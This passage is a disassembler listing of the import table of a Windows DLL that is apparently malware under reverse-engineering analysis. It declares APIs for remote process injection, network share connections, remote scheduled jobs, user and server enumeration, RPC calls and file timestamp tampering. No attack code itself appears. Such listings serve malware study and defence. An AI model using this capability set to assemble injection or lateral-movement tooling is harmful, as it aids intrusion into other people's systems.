; BOOL __stdcall LockFile(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh)
extrn LockFile:dword ; CODE XREF: StartAddress+117p
; DATA XREF: StartAddress+117r
; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
extrn GetFileSize:dword ; CODE XREF: StartAddress+10Dp
; sub_9AB76E+2Dp
; DATA XREF: ...
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn CreateFileA:dword ; CODE XREF: StartAddress+EBp
; StartAddress+FFp ...
; UINT __stdcall SetErrorMode(UINT uMode)
extrn SetErrorMode:dword ; CODE XREF: StartAddress+Fp
; DATA XREF: StartAddress+Fr
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn CreateThread:dword ; CODE XREF: sub_9A799E+206p
; sub_9A89E8+10p ...
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_9A799E+196p
; DATA XREF: sub_9A799E+196r
; HANDLE __stdcall OpenMutexA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName)
extrn OpenMutexA:dword ; CODE XREF: sub_9A799E+15Bp
; DATA XREF: sub_9A799E+15Br
; LPSTR __stdcall GetCommandLineA()
extrn GetCommandLineA:dword ; CODE XREF: sub_9A799E+F9p
; DATA XREF: sub_9A799E+F9r
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName)
extrn CreateMutexA:dword ; CODE XREF: sub_9A799E+E5p
; DllMain(x,x,x)+5Dp
; DATA XREF: ...
; BOOL __stdcall GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize)
extrn GetComputerNameA:dword ; CODE XREF: sub_9A799E+69p
; sub_9A9072+48p
; DATA XREF: ...
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
extrn GetModuleFileNameA:dword ; CODE XREF: sub_9A799E+3Cp
; sub_9AB6A9+24p ...
; DWORD __stdcall GetCurrentProcessId()
extrn GetCurrentProcessId:dword ; CODE XREF: DllMain(x,x,x)+2Cp
; sub_9AA082+17p ...
; BOOL __stdcall DisableThreadLibraryCalls(HMODULE hLibModule)
extrn DisableThreadLibraryCalls:dword ; CODE XREF: DllMain(x,x,x)+22p
; DATA XREF: DllMain(x,x,x)+22r
; BOOL __stdcall DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped)
extrn DeviceIoControl:dword ; CODE XREF: sub_9A7FAE+14Fp
; DATA XREF: sub_9A7FAE+14Fr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
extrn WriteFile:dword ; CODE XREF: sub_9A7FAE+DEp
; sub_9A8326+1B5p ...
; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName, LPCSTR lpPrefixString, UINT uUnique, LPSTR lpTempFileName)
extrn GetTempFileNameA:dword ; CODE XREF: sub_9A7FAE+5Ep
; sub_9A7FAE+8Cp ...
; BOOL __stdcall DeleteFileW(LPCWSTR lpFileName)
extrn DeleteFileW:dword ; CODE XREF: sub_9A8326+2C8p
; DATA XREF: sub_9A8326+2C8r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_9A8326+267p
; DATA XREF: sub_9A8326+267r
; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn CreateFileW:dword ; CODE XREF: sub_9A8326+17Ap
; DATA XREF: sub_9A8326+17Ar
; BOOL __stdcall FindClose(HANDLE hFindFile)
extrn FindClose:dword ; CODE XREF: sub_9A8326+14Cp
; sub_9AABA4+1F7p ...
; HANDLE __stdcall FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData)
extrn FindFirstFileW:dword ; CODE XREF: sub_9A8326+140p
; DATA XREF: sub_9A8326+140r
; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar)
extrn MultiByteToWideChar:dword ; CODE XREF: sub_9A870C+13Ap
; sub_9A9E95+34p ...
; BOOL __stdcall GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize)
extrn GetComputerNameW:dword ; CODE XREF: sub_9A8949+5Ap
; DATA XREF: sub_9A8949+5Ar
; BOOL __stdcall TerminateThread(HANDLE hThread, DWORD dwExitCode)
extrn TerminateThread:dword ; CODE XREF: sub_9A8A72+149p
; sub_9A8CAF+74p ...
; DWORD __stdcall GetCurrentThreadId()
extrn GetCurrentThreadId:dword ; CODE XREF: sub_9A8A72+120p
; sub_9AB510+7p
; DATA XREF: ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_9A8CAF+65p
; sub_9AC5BB+5Cp ...
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_9A9D72+26p
; sub_9A9E5D+29p ...
; BOOL __stdcall Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
extrn __imp_Module32Next:dword ; DATA XREF: Module32Nextr
; BOOL __stdcall Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
extrn __imp_Module32First:dword ; DATA XREF: Module32Firstr
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID)
extrn __imp_CreateToolhelp32Snapshot:dword
; DATA XREF: CreateToolhelp32Snapshotr
; BOOL __stdcall SetThreadPriority(HANDLE hThread, int nPriority)
extrn SetThreadPriority:dword ; CODE XREF: sub_9AA2CE+EDp
; sub_9AA2CE+106p ...
; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
extrn VirtualProtect:dword ; CODE XREF: sub_9AA2CE+CFp
; sub_9AA2CE+114p
; DATA XREF: ...
; int __stdcall GetThreadPriority(HANDLE hThread)
extrn GetThreadPriority:dword ; CODE XREF: sub_9AA2CE+1Fp
; DATA XREF: sub_9AA2CE+1Fr
; HANDLE __stdcall GetCurrentThread()
extrn GetCurrentThread:dword ; CODE XREF: sub_9AA2CE+15p
; DATA XREF: sub_9AA2CE+15r
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
extrn VirtualFree:dword ; CODE XREF: sub_9AA40D+69p
; DATA XREF: sub_9AA40D+69r
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
extrn VirtualAlloc:dword ; CODE XREF: sub_9AA40D+3Cp
; DATA XREF: sub_9AA40D+3Cr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
extrn GetProcAddress:dword ; CODE XREF: sub_9AA40D+25p
; sub_9ABCA4+68p ...
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn LoadLibraryA:dword ; CODE XREF: sub_9AA40D+16p
; sub_9AD00D+11p
; DATA XREF: ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn GetModuleHandleA:dword ; CODE XREF: sub_9AA40D+9p
; sub_9AA53A+5p ...
; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes)
extrn CreateDirectoryA:dword ; CODE XREF: sub_9AABA4+250p
; sub_9AABA4+2AFp
; DATA XREF: ...
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData)
extrn FindFirstFileA:dword ; CODE XREF: sub_9AABA4+1E8p
; sub_9AABA4+369p
; DATA XREF: ...
; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName, LPSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, LPDWORD lpFileSystemFlags, LPSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize)
extrn GetVolumeInformationA:dword ; CODE XREF: sub_9AABA4+32p
; sub_9AB343+3Bp
; DATA XREF: ...
; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
extrn GetDriveTypeA:dword ; CODE XREF: sub_9AAFD8+47p
; sub_9AB156+48p
; DATA XREF: ...
; DWORD __stdcall GetLogicalDrives()
extrn GetLogicalDrives:dword ; CODE XREF: sub_9AB156+17p
; DATA XREF: sub_9AB156+17r
; DWORD __stdcall GetTickCount()
extrn GetTickCount:dword ; CODE XREF: sub_9AB510:loc_9AB53Fp
; sub_9AC476+4Fp ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
extrn QueryPerformanceCounter:dword ; CODE XREF: sub_9AB510+1Bp
; DATA XREF: sub_9AB510+1Br
; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime)
extrn SetFileTime:dword ; CODE XREF: sub_9AB6A9+8Fp
; DATA XREF: sub_9AB6A9+8Fr
; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime)
extrn GetFileTime:dword ; CODE XREF: sub_9AB6A9+5Bp
; DATA XREF: sub_9AB6A9+5Br
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_9AB746+Dp
; DATA XREF: sub_9AB746+Dr
; HANDLE __stdcall GetProcessHeap()
extrn GetProcessHeap:dword ; CODE XREF: sub_9AB746+6p
; sub_9AB75A+6p
; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_9AB75A+Dp
; DATA XREF: sub_9AB75A+Dr
; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
extrn ReadFile:dword ; CODE XREF: sub_9AB76E+51p
; DATA XREF: sub_9AB76E+51r
; BOOL __stdcall Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
extrn __imp_Process32Next:dword ; DATA XREF: Process32Nextr
; BOOL __stdcall Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
extrn __imp_Process32First:dword ; DATA XREF: Process32Firstr
; BOOL __stdcall Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
extrn __imp_Thread32Next:dword ; DATA XREF: Thread32Nextr
; HANDLE __stdcall OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
extrn OpenThread:dword ; CODE XREF: sub_9ABCA4+123p
; DATA XREF: sub_9ABCA4+123r
; BOOL __stdcall Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
extrn __imp_Thread32First:dword ; DATA XREF: Thread32Firstr
; HANDLE __stdcall CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn CreateRemoteThread:dword ; CODE XREF: sub_9ABCA4+9Cp
; DATA XREF: sub_9ABCA4+9Cr
; BOOL __stdcall WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
extrn WriteProcessMemory:dword ; CODE XREF: sub_9ABCA4+7Cp
; DATA XREF: sub_9ABCA4+7Cr
; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
extrn VirtualAllocEx:dword ; CODE XREF: sub_9ABCA4+3Dp
; DATA XREF: sub_9ABCA4+3Dr
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
extrn OpenProcess:dword ; CODE XREF: sub_9ABCA4+1Fp
; sub_9ABECA+35p ...
; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead)
extrn ReadProcessMemory:dword ; CODE XREF: sub_9ABE40+27p
; sub_9ABE40+40p ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes)
extrn SetFileAttributesA:dword ; CODE XREF: sub_9AC132+2Ap
; DATA XREF: sub_9AC132+2Ar
; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName)
extrn GetFileAttributesA:dword ; CODE XREF: sub_9AC132+4p
; DATA XREF: sub_9AC132+4r
; DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer)
extrn GetCurrentDirectoryA:dword ; CODE XREF: sub_9AC27E+2Ap
; DATA XREF: sub_9AC27E+2Ar
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
extrn CreateProcessA:dword ; CODE XREF: sub_9AC2CA+4Ep
; DATA XREF: sub_9AC2CA+4Er
; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend)
extrn InterlockedDecrement:dword ; CODE XREF: sub_9AC5BB+133p
; sub_9AC789+115p ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_9AC5BB+14p
; sub_9AC789+17p ...
; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value)
extrn InterlockedExchange:dword ; CODE XREF: sub_9AC6FE+41p
; sub_9ACA50+4Bp ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_9AC911+BEp
; sub_9ACABE+B8p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_9ACABE+45Dp
; sub_9ACABE+4D7p
; DATA XREF: ...
; HANDLE __stdcall OpenEventA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName)
extrn OpenEventA:dword ; CODE XREF: sub_9ACABE+454p
; sub_9ACABE+4CEp
; DATA XREF: ...
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
extrn GetSystemTime:dword ; CODE XREF: sub_9ADB52+6Fp
; sub_9ADD9B+2Ap
; DATA XREF: ...
;
; Imports from mpr.dll
;
; DWORD __stdcall WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags)
extrn __imp_WNetAddConnection2W:dword ; DATA XREF: WNetAddConnection2Wr
; DWORD __stdcall WNetAddConnection2A(LPNETRESOURCEA lpNetResource, LPCSTR lpPassword, LPCSTR lpUserName, DWORD dwFlags)
extrn __imp_WNetAddConnection2A:dword ; DATA XREF: WNetAddConnection2Ar
; DWORD __stdcall WNetCancelConnection2A(LPCSTR lpName, DWORD dwFlags, BOOL fForce)
extrn __imp_WNetCancelConnection2A:dword
; DATA XREF: WNetCancelConnection2Ar
; DWORD __stdcall WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce)
extrn __imp_WNetCancelConnection2W:dword
; DATA XREF: WNetCancelConnection2Wr
;
; Imports from msvcrt.dll
;
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_9A722A+85p
; sub_9A9199+9Ap ...
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn _adjust_fdiv:dword ; DATA XREF: _CRT_INIT(x,x,x):loc_9B7137r
; void *__cdecl calloc(size_t NumOfElements, size_t SizeOfElements)
extrn calloc:dword ; CODE XREF: sub_9B542A+45p
; sub_9B5561+31p ...
; int sscanf(const char *Src, const char *Format, ...)
extrn sscanf:dword ; CODE XREF: sub_9B5214+DBp
; sub_9B5214+125p ...
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_9AF2B0+34p
; sub_9B2A35+2Ap
; DATA XREF: ...
; void *__cdecl bsearch(const void *Key, const void *Base, size_t NumOfElements, size_t SizeOfElements, int (__cdecl *PtFuncCompare)(const void *, const void *))
extrn bsearch:dword ; CODE XREF: sub_9AEEBC+34p
; sub_9AEEBC+5Fp ...
; __int32 __cdecl labs(__int32 X)
extrn __imp_labs:dword ; DATA XREF: labsr
extrn __imp_sin:dword ; DATA XREF: sinr
extrn __imp_log:dword ; DATA XREF: logr
; char *__cdecl strtok(char *Str, const char *Delim)
extrn strtok:dword ; CODE XREF: sub_9ADA6E+41p
; sub_9ADA6E+4Fp ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_9ADA6E+5Fp
; sub_9ADA6E+C0p
; DATA XREF: ...
; wchar_t *__cdecl wcsdup(const wchar_t *Str)
extrn _wcsdup:dword ; CODE XREF: sub_9A85FC+86p
; sub_9AD062+16Dp ...
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: sub_9ABCA4+14Dp
; DATA XREF: sub_9ABCA4+14Dr
; char *__cdecl strcpy(char *Dest, const char *Source)
extrn __imp_strcpy:dword ; DATA XREF: strcpyr
; char *__cdecl strchr(const char *Str, int Val)
extrn strchr:dword ; CODE XREF: sub_9AA85A+12Cp
; sub_9B410C+54p ...
; int __cdecl strcmp(const char *Str1, const char *Str2)
extrn __imp_strcmp:dword ; DATA XREF: strcmpr
; char *__cdecl strcat(char *Dest, const char *Source)
extrn __imp_strcat:dword ; DATA XREF: strcatr
; wchar_t *__cdecl wcsstr(const wchar_t *Str, const wchar_t *SubStr)
extrn wcsstr:dword ; CODE XREF: sub_9A9D17+25p
; DATA XREF: sub_9A9D17+25r
; void *__cdecl memcpy(void *Dst, const void *Src, size_t Size)
extrn __imp_memcpy:dword ; DATA XREF: memcpyr
; char *__cdecl strlwr(char *Str)
extrn _strlwr:dword ; CODE XREF: sub_9A9471+6Dp
; sub_9AE3FA+182p ...
; char *__cdecl strstr(const char *Str, const char *SubStr)
extrn strstr:dword ; CODE XREF: sub_9A9471+84p
; sub_9AE3FA+196p ...
; char *__cdecl strdup(const char *Src)
extrn _strdup:dword ; CODE XREF: sub_9A90FF+26p
; sub_9AA85A+120p ...
; wchar_t *__cdecl wcsncpy(wchar_t *Dest, const wchar_t *Source, size_t Count)
extrn wcsncpy:dword ; CODE XREF: sub_9A8949+37p
; DATA XREF: sub_9A8949+37r
; size_t __cdecl wcslen(const wchar_t *Str)
extrn wcslen:dword ; CODE XREF: sub_9A870C+81p
; sub_9A870C+8Ep ...
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_9A870C+98p
; sub_9A9638+4p ...
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_9A870C+10Fp
; sub_9A870C+165p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_9A85FC+56p
; sub_9B132C+18p ...
; wchar_t *__cdecl wcscat(wchar_t *Dest, const wchar_t *Source)
extrn wcscat:dword ; CODE XREF: sub_9A8326+95p
; sub_9A8326+E2p ...
; wchar_t *__cdecl wcscpy(wchar_t *Dest, const wchar_t *Source)
extrn wcscpy:dword ; CODE XREF: sub_9A8326+9Fp
; sub_9A870C+A9p ...
; int __cdecl wcscmp(const wchar_t *Str1, const wchar_t *Str2)
extrn wcscmp:dword ; CODE XREF: sub_9A8326+C8p
; sub_9A88A6+65p
; DATA XREF: ...
; void *__cdecl memset(void *Dst, int Val, size_t Size)
extrn __imp_memset:dword ; DATA XREF: memsetr
; int snwprintf(wchar_t *Dest, size_t Count, const wchar_t *Format, ...)
extrn _snwprintf:dword ; CODE XREF: sub_9A827D+1Dp
; sub_9A82BC+20p ...
; int __cdecl memcmp(const void *Buf1, const void *Buf2, size_t Size)
extrn __imp_memcmp:dword ; DATA XREF: memcmpr
; char *__cdecl strncat(char *Dest, const char *Source, size_t Count)
extrn strncat:dword ; CODE XREF: sub_9A7670+B4p
; sub_9A7E5A+33p
; DATA XREF: ...
; void __cdecl srand(unsigned int Seed)
extrn srand:dword ; CODE XREF: sub_9A752A+17p
; sub_9A799E+93p ...
; int __cdecl rand()
extrn rand:dword ; CODE XREF: sub_9A752A+1Dp
; sub_9A7670+91p ...
; int snprintf(char *Dest, size_t Count, const char *Format, ...)
extrn _snprintf:dword ; CODE XREF: sub_9A752A+54p
; sub_9A799E+CDp ...
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_9A752A+118p
; sub_9A9471+25p ...
; char *__cdecl strrchr(const char *Str, int Ch)
extrn strrchr:dword ; CODE XREF: sub_9A7410+61p
; sub_9A8D37+Cp ...
; int __cdecl strnicmp(const char *Str1, const char *Str, size_t MaxCount)
extrn _strnicmp:dword ; CODE XREF: sub_9A722A+5Ap
; sub_9A8D37+5Cp ...
; size_t __cdecl strlen(const char *Str)
extrn __imp_strlen:dword ; DATA XREF: strlenr
; int __cdecl memicmp(const void *Buf1, const void *Buf2, size_t Size)
extrn _memicmp:dword ; CODE XREF: sub_9B488E+50p
; sub_9B488E+74p
; DATA XREF: ...
;
; Imports from netapi32.dll
;
; DWORD __stdcall NetApiBufferFree(LPVOID Buffer)
extrn __imp_NetApiBufferFree:dword ; DATA XREF: NetApiBufferFreer
; DWORD __stdcall NetScheduleJobDel(LPCWSTR Servername, DWORD MinJobId, DWORD MaxJobId)
extrn __imp_NetScheduleJobDel:dword ; DATA XREF: NetScheduleJobDelr
; DWORD __stdcall NetScheduleJobEnum(LPCWSTR Servername, LPBYTE *PointerToBuffer, DWORD PrefferedMaximumLength, LPDWORD EntriesRead, LPDWORD TotalEntries, LPDWORD ResumeHandle)
extrn __imp_NetScheduleJobEnum:dword ; DATA XREF: NetScheduleJobEnumr
; DWORD __stdcall NetScheduleJobAdd(LPCWSTR Servername, LPBYTE Buffer, LPDWORD JobId)
extrn __imp_NetScheduleJobAdd:dword ; DATA XREF: NetScheduleJobAddr
; DWORD __stdcall NetUserEnum(LPCWSTR servername, DWORD level, DWORD filter, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resume_handle)
extrn __imp_NetUserEnum:dword ; DATA XREF: NetUserEnumr
; DWORD __stdcall NetServerEnum(LPCWSTR servername, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, DWORD servertype, LPCWSTR domain, LPDWORD resume_handle)
extrn __imp_NetServerEnum:dword ; DATA XREF: NetServerEnumr
; DWORD __stdcall NetWkstaGetInfo(LPWSTR servername, DWORD level, LPBYTE *bufptr)
extrn __imp_NetWkstaGetInfo:dword ; DATA XREF: NetWkstaGetInfor
;
; Imports from oleaut32.dll
;
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
extrn VariantClear:dword ; CODE XREF: sub_9A8A72+175p
; DATA XREF: sub_9A8A72+175r
; void __stdcall VariantInit(VARIANTARG *pvarg)
extrn VariantInit:dword ; CODE XREF: sub_9A8A72+5Cp
; DATA XREF: sub_9A8A72+5Cr
; void __stdcall SysFreeString(BSTR bstrString)
extrn SysFreeString:dword ; CODE XREF: sub_9A8EDE+E8p
; DATA XREF: sub_9A8EDE+E8r
; UINT __stdcall SysStringLen(BSTR)
extrn SysStringLen:dword ; CODE XREF: sub_9A8EDE+B3p
; DATA XREF: sub_9A8EDE+B3r
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
extrn SysAllocString:dword ; CODE XREF: sub_9A8EDE+AAp
; DATA XREF: sub_9A8EDE+AAr
;
; Imports from rpcrt4.dll
;
; RPC_STATUS __stdcall RpcBindingFromStringBindingA(RPC_CSTR StringBinding, RPC_BINDING_HANDLE *Binding)
extrn RpcBindingFromStringBindingA:dword ; CODE XREF: sub_9A97A7+37p
; sub_9A983B+3Ap
; DATA XREF: ...
; RPC_STATUS __stdcall RpcStringBindingComposeA(RPC_CSTR ObjUuid, RPC_CSTR ProtSeq, RPC_CSTR NetworkAddr, RPC_CSTR Endpoint, RPC_CSTR Options, RPC_CSTR *StringBinding)
extrn RpcStringBindingComposeA:dword ; CODE XREF: sub_9A97A7+25p
; sub_9A983B+28p
; DATA XREF: ...
; CLIENT_CALL_RETURN NdrClientCall2(PMIDL_STUB_DESC pStubDescriptor, PFORMAT_STRING pFormat, ...)
extrn __imp_NdrClientCall2:dword ; DATA XREF: NdrClientCall2r
; RPC_STATUS __stdcall RpcBindingFree(RPC_BINDING_HANDLE *Binding)
extrn RpcBindingFree:dword ; CODE XREF: sub_9A97A7+85p
; sub_9A983B+ADp
; DATA XREF: ...
;
; Imports from shell32.dll
;
; void __stdcall SHGetSetSettings(LPSHELLSTATEA lpss, DWORD dwMask, BOOL bSet)
extrn SHGetSetSettings:dword ; CODE XREF: sub_9AB1F2+3Dp
; DATA XREF: sub_9AB1F2+3Dr
; BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd, LPSTR pszPath, int csidl, BOOL fCreate)
extrn SHGetSpecialFolderPathA:dword ; CODE XREF: sub_9A7670+8Fp
; sub_9A7670+DEp
; DATA XREF: ...
;
; Imports from shlwapi.dll
;
; LSTATUS __stdcall SHDeleteKeyA(HKEY hkey, LPCSTR pszSubKey)
extrn SHDeleteKeyA:dword ; CODE XREF: StartAddress+14Cp
; DATA XREF: StartAddress+14Cr
; LSTATUS __stdcall SHDeleteValueA(HKEY hkey, LPCSTR pszSubKey, LPCSTR pszValue)
extrn SHDeleteValueA:dword ; CODE XREF: StartAddress+181p
; DATA XREF: StartAddress+181r
; LPWSTR __stdcall StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch)
extrn StrStrIW:dword ; CODE XREF: sub_9ABF43+87p
; DATA XREF: sub_9ABF43+87r
; LPSTR __stdcall StrStrIA(LPCSTR lpFirst, LPCSTR lpSrch)
extrn StrStrIA:dword ; CODE XREF: sub_9A7410+83p
; sub_9A7410+95p ...
;
; Imports from user32.dll
;
; BOOL __stdcall GetLastInputInfo(PLASTINPUTINFO plii)
extrn GetLastInputInfo:dword ; CODE XREF: sub_9ACA50+2Ap
; DATA XREF: sub_9ACA50+2Ar
; BOOL __stdcall PostMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn PostMessageA:dword ; CODE XREF: fn+1Ap
; DATA XREF: fn+1Ar
; HWND __stdcall GetDlgItem(HWND hDlg, int nIDDlgItem)
extrn GetDlgItem:dword ; CODE XREF: fn+6p
; DATA XREF: fn+6r
; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
extrn EnumThreadWindows:dword ; CODE XREF: sub_9A8A37+1Ep
; DATA XREF: sub_9A8A37+1Er
; LRESULT __stdcall DefWindowProcA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn DefWindowProcA:dword ; DATA XREF: sub_9AB07D+20r
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
extrn DispatchMessageA:dword ; CODE XREF: sub_9AB0A3+98p
; DATA XREF: sub_9AB0A3+98r
; ATOM __stdcall RegisterClassA(const WNDCLASSA *lpWndClass)
extrn RegisterClassA:dword ; CODE XREF: sub_9AB0A3+52p
; DATA XREF: sub_9AB0A3+52r
; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam)
extrn CreateWindowExA:dword ; CODE XREF: sub_9AB0A3+72p
; DATA XREF: sub_9AB0A3+72r
; BOOL __stdcall GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
extrn GetMessageA:dword ; CODE XREF: sub_9AB0A3+A5p
; DATA XREF: sub_9AB0A3+7Dr
; BOOL __stdcall TranslateMessage(const MSG *lpMsg)
extrn TranslateMessage:dword ; CODE XREF: sub_9AB0A3+8Ep
; DATA XREF: sub_9AB0A3+8Er
; int __stdcall LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax)
